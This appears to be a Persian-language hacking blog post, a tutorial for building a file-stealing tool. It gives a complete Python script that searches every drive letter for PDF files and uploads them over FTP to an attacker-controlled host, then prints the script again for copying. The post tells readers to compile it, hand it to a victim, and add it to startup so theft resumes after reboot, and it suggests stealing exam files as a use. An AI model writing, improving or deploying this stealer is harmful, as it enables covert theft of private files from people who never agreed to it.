کسب در آمد

𝓢𝓐ℬ𝓐𝓦𝓔ℬ

Hacking@Security
DERAQOULA

DęЯǞqΦЦlǞ

𝓢𝓐ℬ𝓐𝓦𝓔ℬ

𝓢𝓐ℬ𝓐𝓦𝓔ℬ




    DERAQOULA

    💢 آنقدر از زندگي دلتنگ و دلگيرم
    😔(کــــــــــــــه)😔
    روز مرگ خود را جشن مي گيرم 💢


Writers
Last Comments
  • ۶ اسفند ۹۸، ۰۴:۱۵ - یونس توا
    عالی

Subjects

با سلام خدمت تک تک دوستان قدیمی و جدید وبلاگ 

توی این پست قراره به شیوه ای نوین ، اطلاعات مشخصی از سیستم یه کاربر رو بدزدیم و داخل سیستم یا هاستمون مشاهده کنیم :)

اینکار بیشتر بدرد بچه هایی که امتحان دارن میخوره

چون میتونن فایلای مشخصی مثل pdf یا فایلای این چنینی رو برای خودشون آپلود کنن که حجمشون کمه

اگه بخوایم اطلاعات رو سیستم برنامه نویس قرار بگیره باید از طریق برنامه نویسی سوکت اینکار رو انجامش بدیم که مشکلاتی هم داره

مثلا نیاز به یه آی پی ثابت داره ، نیاز به یه سیستم روشن داره ، چون وقت و بی وقت قراره اطلاعات برای ما ارسال بشه

در نتیجه از نظر عقلانی بهترین کار ممکن این هستش که ما اطلاعات رو از طریق کتابخونه ی ftplib بیایم و داخل هاستمون ذخیره کنیم

در نتیجه قبل از هر کاری یه هاست وابسته به حجمی که مد نظرتونه تهیه کنین

بعد از تهیه کردن هاست ، یه اکانت Ftp برای خودتون درست کنین

که آموزش ساختشم ماشالا هزار ماشالا تو گوگل پر هستش...

البته نمیدونم اینکار نیاز به دامنه داره یا نه ، چون من نیازی نمیبینم که دامنه باشه....

بخاطر همین پیشنهاد میکنم اول یه تست کنین ببینین اگه با هاست خالی میشه با همون هاست خالی انجام بدین

و اگر هم نشد ، بهتره یه دامنه ir هم تهیه کنین که تقریبا هزینش با هاست و اینجور چیزا کلا 10 هزار تومن بیشتر در نمیاد :)

چون من خودم از پارسال یه دامنه و هاست داشتم که هاستم وقتش تموم شده بود ، تنها کاری که کردم این بود که یه هاست فعال کردم تا کارم راه بیفته

به هر حال یه اکانت ftp برای خودتون جور کنین و بیاین به جای حرف زدن بریم سر اصل مطلب

همونطور که گفتم اگه بخوایم تمامی اطلاعات رو سرقت کنیم

اینترنت زیادی میبره و علاوه بر اون ، موضوع مهمی که مطرحه اینه که اگه فایلای طرف یه گیگ بود و سرعت آپلودش مثل سرعت Dial-Up بود چطور ؟ :(

در نتیجه بهترین کار ممکن این هستش که ما مشخص کنیم چه فایلایی برامون ارسال بشه

مثلا من تو سیستم هدفم فقط فایلای pdf رو میخواستم

خب دیگه صحبت بسه ... :)

اول از همه کتابخونه هایی پایین رو اضافه کنین به اول اسکریپتتون

import os
import ftplib
import random

حالا پسوند مد نظرمون رو برای ارسال مشخص میکنیم

def discoverFiles(startpath):
    extensions = [
        'pdf'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[-1]
            if ext in extensions:
                yield absolute_path

که تو کدهای بالا پسوند مد نظر من همونطور که گفته بودم pdf ها هستن....

حالا باید بیایم و بگیم که با استفاده از این تابع کل درایو هایی که احتمال میدیم رو سیستم قربانی نصب باشه ، اسم فایلها داخل یه متغیر ریخته بشه

اما از اونجایی که اینکار یه خرده اشتباهه ، در نتیجه ما میام و کل درایوهارو لیست میکنیم ( از A تا Z )

که اگه یه موقع کاربر اسم درایواش فرق میکرد یا موارد دیگه....

به مشکلی بر نخوریم

a_files = discoverFiles("A:\\")
b_files = discoverFiles("B:\\")
c_files = discoverFiles("C:\\")
d_files = discoverFiles("D:\\")
e_files = discoverFiles("E:\\")
f_files = discoverFiles("F:\\")
g_files = discoverFiles("G:\\")
h_files = discoverFiles("H:\\")
i_files = discoverFiles("I:\\")
j_files = discoverFiles("J:\\")
k_files = discoverFiles("K:\\")
l_files = discoverFiles("L:\\")
m_files = discoverFiles("M:\\")
n_files = discoverFiles("N:\\")
o_files = discoverFiles("O:\\")
p_files = discoverFiles("P:\\")
q_files = discoverFiles("Q:\\")
r_files = discoverFiles("R:\\")
s_files = discoverFiles("S:\\")
t_files = discoverFiles("T:\\")
u_files = discoverFiles("U:\\")
v_files = discoverFiles("V:\\")
w_files = discoverFiles("W:\\")
x_files = discoverFiles("X:\\")
y_files = discoverFiles("Y:\\")
z_files = discoverFiles("Z:\\")

کد بعدی ما این هستش که باید اطلاعات لاگینمون داخل یه متغیر قرار بگیره که بعدش بتونیم از اون توابع کتابخونه استفاده کنیم

ftp = ftplib.FTP('IP','Username','Password')

حالا باید از درایو A تا درایو Z شروع کنیم به ارسال فایلها ، اما از اونجایی که ممکنه فایل های هم نام داخل یه سیستم پیدا بشه و پروسه ی ما به مشکل بخوره ، در نتیجه بهتره برای هر فایلی که قراره تو اکانتمون آپلود بشه یه آی دی هم در نظر بگیریم

با کدهای پایین میتونیم هم دستور ارسال اطلاعات رو بدیم و هم دستور ایجاد آی دی روی اون فایل بعد از آپلود شدن داخل هاست ....

for i in a_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in b_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in d_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in e_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in f_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in g_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in h_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in i_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in j_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in k_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in l_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in m_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in n_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in o_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in p_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in q_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in r_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in s_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in t_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in u_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in v_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in w_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in x_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in y_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass
    
for i in z_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

حالا وقت بستن اکانتی که باز کردیم هستش

ftp.quit()

اگه کمی به کدها دقت کنین متوجه میشین که من کدهایی که تو پست های آموزشی قبل استفاده کرده بودم رو توی یه پست استفاده کردم و با استفاده از اون یه همچین ابزاری ساختم

در نتیجه به پست هایی که میزارم حتما اهمیت بدین و سعی کنین یه خرده روی اونها فکر کنین

چون همین الانشم میتونیم کلی ابزار با همچین کدهایی بسازیم ، مثل باج افزار ، ویروس تغییر نام ، و کلی چیز دیگه... 

که اینکار چون غیرقانونیه بخاطر همین من از همچین کاری صرف نظر میکنم.... و بقیه راه رو به خودتون میسپارم....

حالا هم کدهایی که بالا استفاده کردم رو یکجا قرار میدم تا تو کپی کردن راحت تر باشین :)

import os
import ftplib
import random

def discoverFiles(startpath):
    extensions = [
        'pdf'
    ]

    for dirpath, dirs, files in os.walk(startpath):
        for i in files:
            absolute_path = os.path.abspath(os.path.join(dirpath, i))
            ext = absolute_path.split('.')[-1]
            if ext in extensions:
                yield absolute_path

a_files = discoverFiles("A:\\")
b_files = discoverFiles("B:\\")
c_files = discoverFiles("C:\\")
d_files = discoverFiles("D:\\")
e_files = discoverFiles("E:\\")
f_files = discoverFiles("F:\\")
g_files = discoverFiles("G:\\")
h_files = discoverFiles("H:\\")
i_files = discoverFiles("I:\\")
j_files = discoverFiles("J:\\")
k_files = discoverFiles("K:\\")
l_files = discoverFiles("L:\\")
m_files = discoverFiles("M:\\")
n_files = discoverFiles("N:\\")
o_files = discoverFiles("O:\\")
p_files = discoverFiles("P:\\")
q_files = discoverFiles("Q:\\")
r_files = discoverFiles("R:\\")
s_files = discoverFiles("S:\\")
t_files = discoverFiles("T:\\")
u_files = discoverFiles("U:\\")
v_files = discoverFiles("V:\\")
w_files = discoverFiles("W:\\")
x_files = discoverFiles("X:\\")
y_files = discoverFiles("Y:\\")
z_files = discoverFiles("Z:\\")

ftp = ftplib.FTP('IP-HOST','Username','Password')

for i in a_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in b_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in d_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in e_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in f_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in g_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in h_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in i_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in j_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in k_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in l_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in m_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in n_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in o_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in p_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in q_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in r_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in s_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in t_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in u_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in v_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in w_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in x_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

for i in y_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass
    
for i in z_files:
    try:
        Str_2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        Str_3 = '1234567890'
        rnd = ''.join(random.choice(Str_2+Str_3) for _ in range(5))
        rnd = '[' + rnd + ']'
        fp = open(i, 'rb')
        ftp.storbinary('STOR %s' % os.path.basename(i[0:-4]+rnd+'.txt'), fp, 1024)
        fp.close()
    except:
        pass

ftp.quit()

حالا کافیه کدهای بالا رو کامپایل کنین و به کاربر بدین که آموش اینکار رو هم تو این پست گفته بودم....

همچنین بهتره ویژگی استارت آپ رو هم بهش اضافه کنین که اگه سیستم قربانی ری استارت شد ، برنامه شروع کنه به آپلود مجدد....

که آموزش کپی کردن برنامه تو استارت آپ رو هم اینجا گفته بودم

امیدوارم خسته نشده باشید

موفق و سربلند باشید

Telegram Channel

 Robot Messenger


    • DęЯǞqΦЦlǞ

Comments (۰)

There Are No Comments Yet
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی